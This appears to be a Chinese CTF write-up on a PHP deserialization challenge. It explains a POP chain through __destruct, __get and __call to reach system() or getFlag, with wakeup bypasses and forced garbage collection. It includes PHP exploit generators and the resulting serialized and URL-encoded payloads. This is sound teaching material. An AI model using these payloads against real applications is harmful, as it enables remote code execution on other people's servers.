神奇的反序列化
昨天某杯,队友看题我看球🐶,于是现在来补个总结
第四届浙江省赛原题
题目
<?php
highlight_file(__FILE__);
class Fun{
private $func = 'call_user_func_array';
public function __call($f,$p){
call_user_func($this->func,$f,$p);
}
public function __wakeup(){
$this->func = '';
die("Don't serialize me");
}
}
class Test{
public function getFlag(){
echo 'flag{12345}';
}
public function __call($f,$p){
phpinfo();
}
public function __wakeup(){
echo "serialize me?";
}
}
class A{
public $a;
public function __get($p){
if(preg_match("/Test/",get_class($this->a))){
return "No test in Prod\n";
}
return $this->a->$p();
}
}
class B{
public $p;
public function __destruct(){
$p = $this->p;
echo $this->a->$p;
}
}
if(isset($_GET['pop'])){
$pop = $_GET['pop'];
$o = unserialize($pop);
throw new Exception("no pop");
}
一个反序列化,思路其实蛮清晰的,关键函数是Fun
类的call_user_func
函数,用这个来调用Test
类的getFlag
方法或者利用system
函数进行RCE
,如何触发call
方法可以去看其他类的函数调用,发现恰好在A
类的get
方法中,触发get
方法需要看其他类的属性访问,在B
类的destruct
方法中有。因此整个调用链就是
B->__destruct() ==> A->__get() ==> Fun->__call() ==> Test->getFlag() or system()
此时有两个问题需要解决,首先就是Func
类的wakeup
方法会在反序列化之前执行,将函数置为空破坏掉调用链的最后一环。第二个就是在最后一行代码,抛出异常来阻止反序列化开始。预期解其实也很常见,在php7
的环境下可以使用修改元素个数来绕过wakeup
、用强制gc
回收来绕过异常。这个后面我们也会说到。我们先来看非预期。
非预期解
首先要说明,该方法只能在php7.4
之前成功,笔者调试7.3.9
成功,7.4.3
失败
<?php
class Fun{
public $func = 'system';
}
class Test{
}
class A{
public $a;
}
class B{
public $p;
}
$c=new Fun();
$b=new A();
$b->a=$c;
$a=new B();
$a->p="dir";
$a->a=$b;
$payload=serialize($a);
$payload=str_replace('}}}','}}',$payload);
echo $payload."\n";
echo urlencode($payload);
?>
/*运行结果是:
O:1:"B":2:{s:1:"p";s:3:"dir";s:1:"a";O:1:"A":1:{s:1:"a";O:3:"Fun":1:{s:4:"func";s:6:"system";}}
O%3A1%3A%22B%22%3A2%3A%7Bs%3A1%3A%22p%22%3Bs%3A3%3A%22dir%22%3Bs%3A1%3A%22a%22%3BO%3A1%3A%22A%22%3A1%3A%7Bs%3A1%3A%22a%22%3BO%3A3%3A%22Fun%22%3A1%3A%7Bs%3A4%3A%22func%22%3Bs%3A6%3A%22system%22%3B%7D%7D
*/
可以看到,仅仅将最后的一个花括号删去即可。但是它是如何绕过这两个点的呢?
php反序列化机制
正常情况
我们首先来假设一个正常的情况,Func、A、B
三个类的调用关系不变,且每个类中都定义了wakeup
方法和destruct
方法,那么我们执行反序列化操作时各个方法的调用顺序是怎样的呢?
Fun->__wakeup() ==> A->__wakeup() ==> B->__wakeup() ==> 执行其他php代码 ==> B->__destruct() ==> A->__destruct() ==> Fun->__destruct()
上述过程也不难理解,我们都知道wakeup
方法会在反序列化前被调用,反序列化之后生成php
对象,而当php
结束时会对对象进行销毁,也就是为什么destruct
方法会出现在最后。需要注意的就是类间的调用顺序,wakeup
方法与destruct
方法恰好相反。
出现错误
那么,当php
反序列化出现错误,就例如上述的缺少最后一个花括号,整个调用顺序是怎样的呢?
根据以往做题的经验,destruct
方法会提前执行,但是具体提前到哪一步呢?
Fun->__wakeup() ==> A->__wakeup() ==> B->__wakeup() ==> B->__destruct() ==> A->__destruct() ==> Fun->__destruct() ==> 执行其他php代码
可见,php
在反序列化后立即就执行了销毁方法,但是在序列化前仍然需要先执行wakeup
方法
但是这并不符合预期解的解题思路,wakeup
方法还是会先执行,关键函数部分还是会被置空
那么我们改变一下成员函数试试看?
- 调用关系不变,所有类中都定义了
destruct
方法,但只有Fun
类定义了wakeup
方法
B->__destruct() ==> Fun->__wakeup() ==> A->__destruct() ==> Fun->__destruct() ==> 执行其他php代码
- 调用关系不变,所有类中都定义了
destruct
方法,但只有A
类定义了wakeup
方法
B->__destruct() ==> A->__wakeup() ==> A->__destruct() ==> Fun->__destruct() ==> 执行其他php代码
- 调用关系不变,所有类中都定义了
destruct
方法,但只有B
类定义了wakeup
方法
B->__wakeup() ==> B->__destruct() ==> A->__destruct() ==> Fun->__destruct() ==> 执行其他php代码
- 调用关系不变,所有类中都定义了
destruct
方法,但Fun
类和A
类定义了wakeup
方法
B->__destruct() ==> Fun->__wakeup() ==> A->__wakeup() ==> A->__destruct() ==> Fun->__destruct() ==> 执行其他php代码
- 调用关系不变,所有类中都定义了
destruct
方法,但Fun
类和B
类定义了wakeup
方法
Fun->__wakeup() ==> B->__wakeup() ==> B->__destruct() ==> A->__destruct() ==> Fun->__destruct() ==> 执行其他php代码
- 调用关系不变,所有类中都定义了
destruct
方法,但A
类和B
类定义了wakeup
方法
A->__wakeup() ==> B->__wakeup() ==> B->__destruct() ==> A->__destruct() ==> Fun->__destruct() ==> 执行其他php代码
发现什么规律了吗?
只有在B
类中含有wakeup
方法时,整个调用链才会以wakeup
方法作为起始。其他情况下都要等B
类的destruct
方法执行后才会执行其他类的wakeup
方法。
此时我们不妨大胆推测:
当B
类出现反序列化错误时,会提高B
类的destruct
方法的优先级,但是仍然要遵循wakeup
、反序列化、destruct
的执行顺序。当B
类中定义了wakeup
方法时,会先执行B
类的wakeup
方法,由于wakeup
方法的调用关系,该类所有成员类的wakeup
方法也会被先调用;当B
类中未定义wakeup
方法时,会先执行B
类的destruct
方法,再执行其他成员类的wakeup
方法,最后执行其他成员类的destruct
方法。
假设上述推测为真,此时我们来看题目
题目环境中只有Func
类含有wakeup
方法,只有B
类含有destruct
方法,那么预计的流程是
B->__destruct() ==> Fun->__wakeup() ==> 执行其他php代码
那么实际上的调用过程是怎样的呢?
根据调用堆栈来判断,wakeup
函数在最后执行,避免了在关键函数位置被置空,而wakeup
函数中含有die
语句,也就是说执行到该句时php
直接结束,也同时绕过了后续抛出异常的情况。
预期解
预期解的优势就在于php8
之前均可成功执行
通过扩大元素数量来绕过wakeup
方法是很常见的trick
了,下面说一说绕过异常抛出的常规思路
<?php
class Fun{
private $func ;
public function __construct()
{
$this->func=['Test','getFlag'];
}
}
class Test{
public function getFlag(){
system("echo flag{12345}");
}
}
class A{
public $a;
}
class B{
public $p;
}
$test2=new Fun();
$test3=new A();
$test4=new B();
$test4->a= $test3;
$test3->a=$test2;
$c=array(0=>$test4,1=>NULL);
echo serialize($c)."\n";
echo urlencode(serialize($c));
/*运行结果是:
a:2:{i:0;O:1:"B":2:{s:1:"p";N;s:1:"a";O:1:"A":1:{s:1:"a";O:3:"Fun":1:{s:9:"Funfunc";a:2:{i:0;s:4:"Test";i:1;s:7:"getFlag";}}}}i:1;N;}
a%3A2%3A%7Bi%3A0%3BO%3A1%3A%22B%22%3A2%3A%7Bs%3A1%3A%22p%22%3BN%3Bs%3A1%3A%22a%22%3BO%3A1%3A%22A%22%3A1%3A%7Bs%3A1%3A%22a%22%3BO%3A3%3A%22Fun%22%3A1%3A%7Bs%3A9%3A%22%00Fun%00func%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A4%3A%22Test%22%3Bi%3A1%3Bs%3A7%3A%22getFlag%22%3B%7D%7D%7D%7Di%3A1%3BN%3B%7D
此时我们需要修改payload,一个位置是元素个数,另一个位置是索引值,修改后的payload为
a%3A2%3A%7Bi%3A0%3BO%3A1%3A%22B%22%3A2%3A%7Bs%3A1%3A%22p%22%3BN%3Bs%3A1%3A%22a%22%3BO%3A1%3A%22A%22%3A1%3A%7Bs%3A1%3A%22a%22%3BO%3A3%3A%22Fun%22%3A2%3A%7Bs%3A9%3A%22%00Fun%00func%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A4%3A%22Test%22%3Bi%3A1%3Bs%3A7%3A%22getFlag%22%3B%7D%7D%7D%7Di%3A0%3BN%3B%7D
*/
对比两个payload
,可以发现我们将i:1;N;}
改为了i:0;N;}
,就成功执行,这是为什么呢?
强制GC回收
我们先来看GC
的机制
旧版GC
是简单的引用计数机制,即变量被引用一次就在计数器上加一,当引用撤销或者终止后计数器就减一,当计数器为0
后就进行回收。但是这里存在一个问题,即变量自己引用自己,此时计数器加二,但是终止后只减一,也就使得GC
无法回收,会导致内存泄漏。
而在新的GC
机制中,变量存储时包含其他两个标志信息。即变量是否属于引用变量,以及指向该变量所存储容器的变量个数。
那么如何触发GC
强制回收呢?
刚才说到当引用计数为0
时会触发,查阅php
手册可知,当根缓存区达到上限时,也会触发垃圾回收机制
想要让根缓存区到达上限,需要引用多次,比较复杂。因此在比赛中主要考虑的还是构造引用计数为0
我们回看在exp
中构造的数组$c=array(0=>$test4,1=>NULL);
我们最后进行的更改索引的操作相当于让这个数组变成了$c=array(0=>$test4,0=>NULL);
也就是说服务端反序列化获得数组后,我们首先让数组索引0
指向$test
对象,此时$test
对象的引用计数为1
,然后我们将索引0
强行指向NULL
,此时$test
对象的索引减1
变成了0
,触发了垃圾回收,在回收过程中要对$test
对象进行销毁,自然就调用了该对象所属类的destruct
方法。
至此就解释了预期解的原理
参考
php
手册 回收周期 https://www.php.net/manual/zh/features.gc.collecting-cycles.php
php
手册 引用计数基本知识 https://www.php.net/manual/zh/features.gc.refcounting-basics.php
看云 深入理解php
内核 https://www.kancloud.cn/kancloud/php-internals